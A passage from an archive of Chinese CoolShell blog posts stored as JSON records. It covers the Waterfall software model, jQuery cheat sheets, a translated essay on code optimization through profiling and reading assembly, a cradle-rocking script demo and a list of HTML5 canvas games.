[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [![一个浏览器市场占有量的图](../wp-content/uploads/2010/01/browser_history-150x150.jpg)](https://coolshell.cn/articles/2069.html)[一个浏览器市场占有量的图](https://coolshell.cn/articles/2069.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/1714.html)[Firefox插件WebMail Notifier](https://coolshell.cn/articles/1714.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/599.html)[Google 三维 JavaScript API 发布](https://coolshell.cn/articles/599.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/2917.html)[Did You Know?](https://coolshell.cn/articles/2917.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\nThe post [Mozilla的一个BUG](https://coolshell.cn/articles/2936.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-15 Waterfall 软件工程.md",
    "content": "---\nlayout: post\ntitle: Waterfall 软件工程\ndate: 2010/9/15/ 0:42:42\nupdated: 2010/9/15/ 0:42:42\nstatus: publish\npublished: true\ntype: post\n---\n\n《Royce, Winston (1970), [“Managing the Development of Large Software Systems”](http://www.cs.umd.edu/class/spring2003/cmsc838p/Process/waterfall.pdf), *Proceedings of IEEE WESCON* **26** (August): 1–9. 》，这篇文章向你说明了软件工程鼻祖“Waterfall”的工程模型，这是40年前的论文，其中的十张插图很有强大，抽出来，让我们来看看什么叫Waterfall软件工程。\n\n\n首先，让我先看一下小的程序是怎么做的，呵呵，很简单，两步。\n\n\n[![](../wp-content/uploads/2010/09/01.Small_.jpg \"01.Small\")](https://coolshell.cn/wp-content/uploads/2010/09/01.Small_.jpg)\n\n\n接下来，就是我们最经典的Waterfall软件工程模型了，用户需求，软件需求，需求分析，设计，编码，测试，运维。\n\n\n[![](../wp-content/uploads/2010/09/02.Large_.jpg \"02.Large\")](https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg)\n\n\n为了保证每个步骤都能正确实施，于是，每个步骤之间需要有一定的交互，这是我们所希望的样子。\n\n\n [![](../wp-content/uploads/2010/09/03.Iteraction.jpg \"03.Iteraction\")](https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction.jpg)\n\n\n然后，不幸的是，我们总是在测试的时候发现了设计甚至需求的问题，因此，不得不让我们返工。\n\n\n[![](../wp-content/uploads/2010/09/04.Design.jpg \"04.Design\")](https://coolshell.cn/wp-content/uploads/2010/09/04.Design.jpg)\n\n\n为了解决上面的“返工”问题，我们可以使用下面的几步来解决。\n\n\n第一步，叫Preliminary Design，程序设计先行，确定在进入需求分析之前，我们的概要设计要完整。\n\n\n[![](../wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg \"05.01.Preliminary.Design\")](https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg)\n\n\n第二步，我们叫Document Design，书写设计文档，确认我们的设计是完整的。看到了吧，总共6个文档，1）软件需求，2）概要设计，3）接口设计，4）各种最终设计，5）测试设计/计划，6）测试结果。流程开始变得复杂了。\n\n\n[![](../wp-content/uploads/2010/09/05.02.Documentation.jpg \"05.02.Documentation\")](https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation.jpg)\n\n\n第三步，我们叫“Do it Twice”，双保险，把文档了的东西试着预先走一遍，看看能否成为最终产品。\n\n\n[![](../wp-content/uploads/2010/09/05.03.Double.Work_.jpg \"05.03.Double.Work\")](https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_.jpg)\n\n\n第四步，计划，控制和监控测试。哇，流程很乱了。\n\n\n[![](../wp-content/uploads/2010/09/05.04.Test_.jpg \"05.04.Test\")](https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_.jpg)\n\n\n第五步，用户介入，全程review各个环节。\n\n\n[![](../wp-content/uploads/2010/09/05.05.Involve.Customer.jpg \"05.05.Involve.Customer\")](https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer.jpg) \n\n\n好了，问题解决了，让我们看看最终的“无比强大的”——Waterfall软件工程模型！\n\n\n[![](../wp-content/uploads/2010/09/06.Summary.jpg \"06.Summary\")](https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg)\n\n\n现在，当你在使用waterfall开发软件的时候，知道为什么痛苦了吧，40年前就已经如此了。\n\n\n下面是《[Lone Star Ruby Conference 2010](http://confreaks.net/events/lsrc2010)》的一个演讲叫《[Real Software Engineer](http://confreaks.net/videos/282-lsrc2010-real-software-engineering)》，没有字幕，但我个人感觉英文很容易听懂，英文好的同学不妨看看。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![DEMO Spring 2010 获奖产品](../wp-content/uploads/2010/03/Zosh-150x150.jpg)](https://coolshell.cn/articles/2191.html)[DEMO Spring 2010 获奖产品](https://coolshell.cn/articles/2191.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/514.html)[深入浅出CORBA](https://coolshell.cn/articles/514.html)\n* [![用Python写NCurses UI](../wp-content/uploads/2009/04/ncurses_example-150x150.jpg)](https://coolshell.cn/articles/677.html)[用Python写NCurses UI](https://coolshell.cn/articles/677.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/8031.html)[InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1081.html)[十个让你变成糟糕的程序员的行为](https://coolshell.cn/articles/1081.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2365.html)[两个C++的资源](https://coolshell.cn/articles/2365.html)\nThe post [Waterfall 软件工程](https://coolshell.cn/articles/2941.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-19 25个jQuery的编程小抄.md",
    "content": "---\nlayout: post\ntitle: 25个jQuery的编程小抄\ndate: 2010/9/19/ 0:14:12\nupdated: 2010/9/19/ 0:14:12\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站向大家介绍过“[程序员小抄大全](https://coolshell.cn/articles/1566.html)”，这里是25个jQuery的小抄（有一些在墙外），有的还可以设置成你的电脑桌面。这些东西可以让你很快速地记得一些常用的东西，就好像软件的快捷键一样。希望它们对你会有帮助。\n\n\n### [1. jQuery 1.2 Cheat-sheet](http://colorcharge.com/jquery/) [PNG]\n\n\n[![](../wp-content/uploads/2010/09/1.png \"1\")](http://colorcharge.com/jquery/)\n\n\n\n### [2. jQuery 1.2 Cheat Sheet v1.0](http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/2.png \"2\")](http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/)\n\n\n### [3. jQuery 1.3 Cheatsheet](http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/32.jpg \"3\")](http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/)\n\n\n### [4. jQuery API Browser](http://api.jquery.com/) [Adobe AIR, HTML]\n\n\n[![](../wp-content/uploads/2010/09/42.jpg \"4\")](http://api.jquery.com/)\n\n\n### 5. [jQuery1.1 Cheat Sheet](http://n-bp.com/jquery_cheat_sheet/v11/) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/52.jpg \"5\")](http://n-bp.com/jquery_cheat_sheet/v11/)\n\n\n### 6. [jTouch – jQuery Cheat Sheet for iPhone](http://jtouch.colorcharge.com/) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/62.jpg \"6\")](http://jtouch.colorcharge.com/)\n\n\n### 7. [jQuery 1.4 API Cheat Sheet](http://www.futurecolors.ru/jquery/) [HTML, PDF, PNG]\n\n\n[![](../wp-content/uploads/2010/09/7.jpg \"7\")](http://www.futurecolors.ru/jquery/)\n\n\n### 8. [jQuery Selectors](http://refcardz.dzone.com/refcardz/jquery-selectors) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/82.jpg \"8\")](http://refcardz.dzone.com/refcardz/jquery-selectors)\n\n\n### 9. [jQuery 1.3 Quick API Reference](http://oscarotero.com/jquery/) [ HTML]\n\n\n[![](../wp-content/uploads/2010/09/9.png \"9\")](http://oscarotero.com/jquery/)\n\n\n### 10.[jQuery UI 1.7 Quick API Reference](http://oscarotero.com/jquery/ui.html) [ HTML]\n\n\n[![](../wp-content/uploads/2010/09/102.jpg \"10\")](http://oscarotero.com/jquery/ui.html)\n\n\n### 11. [jQuery 1.3.2 Cheat Sheet](http://www.javascripttoolbox.com/jquery/cheatsheet/) [Microsoft Excel (XLS), PDF, PNG]\n\n\n[![](../wp-content/uploads/2010/09/112.jpg \"11\")](http://www.javascripttoolbox.com/jquery/cheatsheet/)\n\n\n### 12. [jQuery 1.1.3 Cheat Sheet](http://www.javascripttoolbox.com/jquery/cheatsheet/) [Microsoft Excel (XLS), PDF, PNG]\n\n\n[![](../wp-content/uploads/2010/09/12.gif \"12\")](http://www.javascripttoolbox.com/jquery/cheatsheet/)\n\n\n### 13. [jQuery 1.3 Visual Cheat Sheet](http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/13.jpg \"13\")](http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html)\n\n\n### 14. [jQuery 1.4.2 Visual Cheat Sheet](http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/) [JPEG, PDF]\n\n\n[![](../wp-content/uploads/2010/09/14.jpg \"14\")](http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/)\n\n\n### 15. [jQuery API](http://remysharp.com/jquery-api/) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/15.jpg \"15\")](http://remysharp.com/jquery-api/)\n\n\n### 16. [jQuery 1.4 Cheat Sheet](http://labs.impulsestudios.ca/jquery-cheat-sheet) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/16.jpg \"16\")](http://labs.impulsestudios.ca/jquery-cheat-sheet)\n\n\n### 17. [jQuery cheatsheet Wallpaper](http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html)\n\n\n[![](../wp-content/uploads/2010/09/17.jpg \"17\")](http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html)\n\n\n### 18. [jQuery – YUI3 Rosetta Stone](http://carlos.bueno.org/jq-yui.html) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/18.jpg \"18\")](http://carlos.bueno.org/jq-yui.html)\n\n\n### 19. [jQuery 1.2 by Adrien Gibrat](http://www.cheat-sheets.org/#jQuery) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/19.jpg \"19\")](http://www.cheat-sheets.org/#jQuery)\n\n\n### 20. [jQuery 1.3 Cheat Sheet](http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html)\n\n\n[![](../wp-content/uploads/2010/09/20.jpg \"20\")](http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html)\n\n\n### 21. [jQuery 1.3 Cheatsheet Wallpaper](http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/) [1920×1200, 1680×1050 and 1440×900]\n\n\n[![](../wp-content/uploads/2010/09/211.jpg \"21\")](http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/)\n\n\n### [22. jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti](http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf) [PDF]\n\n\n[![](../wp-content/uploads/2010/09/22.jpg \"22\")](http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf)\n\n\n### [23. jQuery Selectors Cheatsheet](http://codylindley.com/jqueryselectors/) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/23.jpg \"23\")](http://codylindley.com/jqueryselectors/)\n\n\n### [24. jQuery UI – Effects Cheatsheet](http://jn.orz.hm/jquery/ui_effect.html) [HTML]\n\n\n[![](../wp-content/uploads/2010/09/24.jpg \"24\")](http://jn.orz.hm/jquery/ui_effect.html)\n\n\n### 25. [jQuery Validator Cheatsheet](http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf) – Elegant Code [PDF]\n\n\n[![](../wp-content/uploads/2010/09/25.jpg \"25\")](http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf)\n\n\n文章：<http://technologytosoftware.com/most-useful-jquery-cheat-sheets.html>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![一些有意思的网站和贴子](../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg)](https://coolshell.cn/articles/3480.html)[一些有意思的网站和贴子](https://coolshell.cn/articles/3480.html)\nThe post [25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-20 代码优化概要.md",
    "content": "---\nlayout: post\ntitle: 代码优化概要\ndate: 2010/9/20/ 0:22:31\nupdated: 2010/9/20/ 0:22:31\nstatus: publish\npublished: true\ntype: post\n---\n\n本文译自Dr. Dobb’s Blogger的Walter Bright写的《[Overlooked Essentials For Optimizing Code](http://www.drdobbs.com/blog/archives/2010/09/overlooked_esse.html)\n\n\n》\n\n\n\n\n---\n\n\n我编写程序至今有35年了，我做了很多关于程序执行速度方面优化的工([一个示例](http://biolpc22.york.ac.uk/wx/wxhatch/wxMSW_Compiler_choice.html))，我也看过其它人做的优化。我发现有两个最基本的优化技术总是被人所忽略。 注意，这两个技术并不是避免时机不成熟的优化。并不是把冒泡排序变成快速排序（算法优化）。也不是语言或是编译器的优化。也不是把 i\\*4写成i<<2 的优化。 这两个技术是：\n\n\n1. 使用 一个profiler。\n2. 查看程序执行时的汇编码。\n\n\n使用这两个技术的人将会成功地写出运行快的代码，不会使用这两个技术的人则不行。下面让我为你细细道来。\n\n\n#### 使用一个 Profiler\n\n\n我们知道，程序运行时的90%的时间是用在了10%的代码上。我发现这并不准确。一次又一次地，我发现，几乎所有的程序会在1%的代码上花了99%的运行时间。但是，是哪个1%？一个好的Profiler可以告诉你这个答案。就算我们需要使用100个小时在这1%的代码上进行优化，也比使用100个小时在其它99%的代码上优化产生的效益要高得多得多。 问题是什么？人们不用profiler？不是。我工作过的一个地方使用了一个华丽而奢侈的Profiler，但是自从购买这个Profiler后，它的包装3年来还是那么的暂新。为什么人们不用？我真的不知道。有一次，我和我的同事去了一个负载过大的交易所，我同事坚持说他知道哪里是瓶颈，毕竟，他是一个很有经验的专家。最终，我把我的Profiler在他的项目上运行了一下，我们发现那个瓶颈完全在一个意想不到的地方。 就像是赛车一样。团队是赢在传感器和日志上，这些东西提供了所有的一切。你可以调整一下赛车手的裤子以让其在比赛过程中更舒服，但是这不会让你赢得比赛，也不会让你更有竞争力。如果你不知道你的速度上不去是因为引擎、排气装置、空体动力学、轮胎气压，或是赛车手，那么你将无法获胜。编程为什么会不同呢？只要没有测量，你就永远无法进步。 这个世界上有太多可以使用的Profiler了。随便找一个你就可以看到你的函数的调用层次，调用的次数，以前每条代码的时间分解表（甚至可以到汇编级）。我看过太多的程序员回避使用Profiler，而是把时间花在那些无用的，错误的方向上的“优化”，而被其竞争对手所羞辱。（**译者陈皓注**：使用Profiler时，重点需要关注：1）花时间多的函数以优化其算法，2）调用次数巨多的函数——如果一个函数每秒被调用300K次，你只需要优化出0.001毫秒，那也是相当大的优化。这就是作者所谓的1%的代码占用了99%的CPU时间）\n\n\n#### 查看汇编代码\n\n\n几年前，我有一个同事，Mary Bailey，她在华盛顿大学教矫正代数（remedial algebra），有一次，她在黑板上写下： `x + 3 = 5` 然后问他的学生“求解x”，然后学生们不知道答案。于是她写下： `__ + 3 = 5` 然后，再问学生“填空”，所有的学生都可以回答了。未知数x就像是一个有魔法的字母让大家都在想“x意味着代数，而我没有学过代数，所以我就不知道这个怎么做”。 汇编程序就是编程世界的代数。如果某人问我“inline函数是否被编译器展开了？”或是问我“如果我写下i\\*4，编译器会把其优化为左移位操作吗？”。这个时候，我都会建议他们看看编译器的汇编码。这样的回答是不是很粗暴和无用？通常，在我这样回答了提问者后，提问都通常都会说，对不起，我不知道什么是汇编！甚至C++的专家都会这么回答。 汇编语言是最简单的编程语言了（就算是和C++相比也是这样的），如：\n\n\n`ADD ESI,x`\n\n\n就是（C风格的代码）\n\n\n`ESI += x;`\n\n\n而：\n\n\n`CALL foo`\n\n\n则是：\n\n\n`foo();`\n\n\n细节因为CPU的种类而不同，但这就是其如何工作的。有时候，我们甚至都不需要细节，只需要看看汇编码的长啥样，然后和源代码比一比，你就可以知道汇编代码很多很多了。 那么，这又如何帮助代码优化？举个例子，我几年前认识一个程序员认为他应该去发现一个新的更快的算法。他有一个benchmark来证明这个算法，并且其写了一篇非常漂亮的文章关于他的这个算法。但是，有人看了一下其原来算法以及新算法的汇编，发现了他的改进版本的算法允许其编译器把两个除法操作变成了一个。这和算法真的没有什么关系。我们知道除法操作是一个很昂贵的操作，并且在其算法中，这俩个除法操作还在一个内嵌循环中，所以，他的改进版的算法当然要快一些。但，只需要在原来的算法上做一点点小的改动——使用一个除法操作，那么其原来的算法将会和新的一样快。而他的新发现什么也不是。 下一个例子，一个D用户张贴了一个 benchmark 来显示 dmd (Digital Mars D 编译器)在整型算法上的很糟糕，而ldc (LLVM D 编译器) 就好很多了。对于这样的结果，其相当的有意见。我迅速地看了一下汇编，发现两个编译器编译出来相当的一致，并没有什么明显的东西要对2：1这么大的不同而负责。但是我们看到有一个对long型整数的除法，这个除法调用了运行库。而这个库成为消耗时间的杀手，其它所有的加减法都没有速度上的影响。出乎意料地，benchmark 和算法代码生成一点关系也没有，完全就是long型整数的除法的问题。这暴露了在dmd的运行库中的long型除法的实现很差。修正后就可以提高速度。所以，这和编译器没有什么关系，但是如果不看汇编，你将无法发现这一切。 查看汇编代码经常会给你一些意想不到的东西让你知道为什么程序的性能是那样。一些意想不到的函数调用，预料不到的自傲，以及不应该存在的东西，等等其实所有的一切。但也不需要成为一个汇编代码的黑客才能干的事。\n\n\n#### 结论\n\n\n如果你觉得需要程序有更好的执行速度，那么，最基本的方法就是使用一个profiler和愿意去查看一下其汇编代码以找到程序的瓶颈。只有找到了程序的瓶颈，此时才是真正在思考如何去改进的时候，比如思考一个更好的算法，使用更快的语言优化，等等。 常规的做法是制胜法宝是挑选一个最佳的算法而不是进行微优化。虽然这种做法是无可异议的，但是有两件事情是学校没有教给你而需要你重点注意的。第一个也是最重要的，如果你优化的算法没没有参与到你程序性能中的算法，那么你优化他只是在浪费时间和精力，并且还转移了你的注意力让你错过了应该要去优化的部分。第二点，算法的性能总和处理的数据密切相关的，就算是冒泡排序有那么多的笑柄，但是如果其处理的数据基本是排好序的，只有其中几个数据是未排序的，那么冒泡排序也是所有排序算法里性能最好的。所以，担心没有使用好的算法而不去测量，只会浪费时间，无论是你的还是计算机的。 就好像赛车零件的订购速底是不会让你更靠进冠军（就算是你正确安装零件也不会），没有Profiler，你不会知道问题在哪里，不去看汇编，你可能知道问题所在，但你往往不知道为什么。 (全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [代码优化概要](https://coolshell.cn/articles/2967.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-20 用脚本实现哄宝宝睡觉(Demo).md",
    "content": "---\nlayout: post\ntitle: 用脚本实现哄宝宝睡觉(Demo)\ndate: 2010/9/20/ 9:3:27\nupdated: 2010/9/20/ 9:3:27\nstatus: publish\npublished: true\ntype: post\n---\n\n去年，本站发布了一篇文章《[用脚本哄宝宝睡觉](https://coolshell.cn/articles/1539.html)》，具体想法是把摇篮和光驱连一起，然后用脚本把光驱弹出和收入以实现驱动摇篮。今天在网上看到一个具体实现，呵呵。看下面的视频：\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![用脚本实现哄小孩睡觉](../wp-content/uploads/2009/10/baby_linux-150x150.jpg)](https://coolshell.cn/articles/1539.html)[用脚本实现哄小孩睡觉](https://coolshell.cn/articles/1539.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [用脚本实现哄宝宝睡觉(Demo)](https://coolshell.cn/articles/2987.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-9-21 HTML5 小游戏展示.md",
    "content": "---\nlayout: post\ntitle: HTML5 小游戏展示\ndate: 2010/9/21/ 10:48:51\nupdated: 2010/9/21/ 10:48:51\nstatus: publish\npublished: true\ntype: post\n---\n\n使用 HTML5 的 Canvas可以搞出一些很有趣的东西，如2D图形，位图，动画等。而使用Javascript来操作这些东西，可以设计出很多的小游戏。 下面是一些用HTML5做出来的小游戏，让我想得了我小时候的那些游戏。\n\n\n顺祝大家中秋节快乐！以及进入史上最混乱的长假调休。呵呵。\n\n\n#### [Sinuous](http://hakim.se/experiments/html5/sinuous/01/)\n\n\n小心被红点撞上。\n\n\n![](../wp-content/uploads/2010/09/canvas-4.jpg)\n\n\n#### [超级玛丽卡丁车](http://www.nihilogic.dk/labs/mariokart/)\n\n\nA small but fun racing game built in html5 canvas and javascript.\n\n\n![](../wp-content/uploads/2010/09/canvas-1.jpg)\n\n\n\n#### [吃豆](http://arandomurl.com/2010/07/25/html5-pacman.html)\n\n\n![](../wp-content/uploads/2010/09/canvas-5.jpg)\n\n\n#### [圆环俄罗斯方块](http://www.benjoffe.com/code/games/torus/)\n\n\n![](../wp-content/uploads/2010/09/canvas-2.jpg)\n\n\n#### [Asteroids](http://www.kevs3d.co.uk/dev/asteroids/)\n\n\n![](../wp-content/uploads/2010/09/canvas-3.jpg)\n\n\n#### [Bert’s Breakdown](http://www.paulbrunt.co.uk/bert/)\n\n\n很不错的游戏，漂亮的界面以及不错的关卡设置。\n\n\n![](../wp-content/uploads/2010/09/canvas-6.jpg)\n\n\n#### [TWITCH](http://reas.com/twitch/)\n\n\nTWITCH是一个解题性质的游戏。试试看你有多快。\n\n\n![](../wp-content/uploads/2010/09/canvas-7.jpg)\n\n\n#### [JS Wars](http://29a.ch/jswars/)\n\n\n一个经典的空战游戏。\n\n\n![](../wp-content/uploads/2010/09/canvas-8.jpg)\n\n\n#### [Chain Reaction](http://www.yvoschaap.com/chainrxn/)\n\n\n一个简单又容易上瘾的游戏。\n\n\n![](../wp-content/uploads/2010/09/canvas-9.jpg)\n\n\n#### [Same Game](http://grenlibre.fr/demo/same/)\n\n\n这个游戏相信大家都会玩，把相同颜色的连在一起。\n\n\n![](../wp-content/uploads/2010/09/canvas-10.jpg)\n\n\n#### [Coverfire](http://www.wiicade.com/playJSGame.aspx?gameID=1317&gameName=Coverfire)\n\n\n![](../wp-content/uploads/2010/09/canvas-11.jpg)\n\n\n#### [JQuery Racing](http://www.mattpelham.com/racing/)\n\n\n靠！这个游戏很耐完，我相信你一定会在上面花很多时间。 jQuery 做的。\n\n\n![](../wp-content/uploads/2010/09/canvas-12.jpg)\n\n\n### [Thrust](http://joncom.be/experiments/thrust/)\n\n\n经典的八位图游戏。让我想起了《[史上最烂的超级玛丽](https://coolshell.cn/articles/2834.html \"史上最烂的超级玛丽\")》\n\n\n![](../wp-content/uploads/2010/09/canvas-13.jpg)\n\n\n### [俄罗斯方块](http://aduros.emufarmers.com/easel/)\n\n\n![](../wp-content/uploads/2010/09/canvas-14.jpg)\n\n\n#### [3D 俄罗斯方块 – Cubeout](http://alteredqualia.com/cubeout/)\n\n\n![](../wp-content/uploads/2010/09/canvas-15.jpg)\n\n\n#### [Galatic Plunder](http://dougx.net/plunder/plunder.html)\n\n\n这个游戏使用了Canvas 和 Audio，主要是为了证明，没有Flash，用HTML5一样行。\n\n\n![](../wp-content/uploads/2010/09/canvas-16.jpg)\n\n\n#### [Lines](http://10k.aneventapart.com/Uploads/62/)\n\n\n很简单的游戏，我老看到办公室里很多人在玩。\n\n\n![](../wp-content/uploads/2010/09/canvas-17.jpg)\n\n\n#### [RGB Invaders](http://10k.aneventapart.com/Uploads/392/)\n\n\n小蜜蜂。\n\n\n![](../wp-content/uploads/2010/09/canvas-18.jpg)\n\n\n#### [Agent 008 Ball](http://www.agent8ball.com/)\n\n\n受不了了，还有台球。\n\n\n![](../wp-content/uploads/2010/09/canvas-19.jpg)\n\n\n#### [JSLander](http://www.somethinghitme.com/projects/jslander/)\n\n\n一个飞船着陆游戏。速度不要起过去6，不然就坠毁了。\n\n\n![](../wp-content/uploads/2010/09/canvas-20.jpg)\n\n\n#### [Rainbow Blocks](http://10k.aneventapart.com/Uploads/27/)\n\n\nSameGame 和JT的另一种变种。\n\n\n![](../wp-content/uploads/2010/09/canvas-21.jpg)\n\n\n**文章**：<http://blog.insicdesigns.com/2010/09/showcase-of-games-developed-using-html5-canvas/>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* 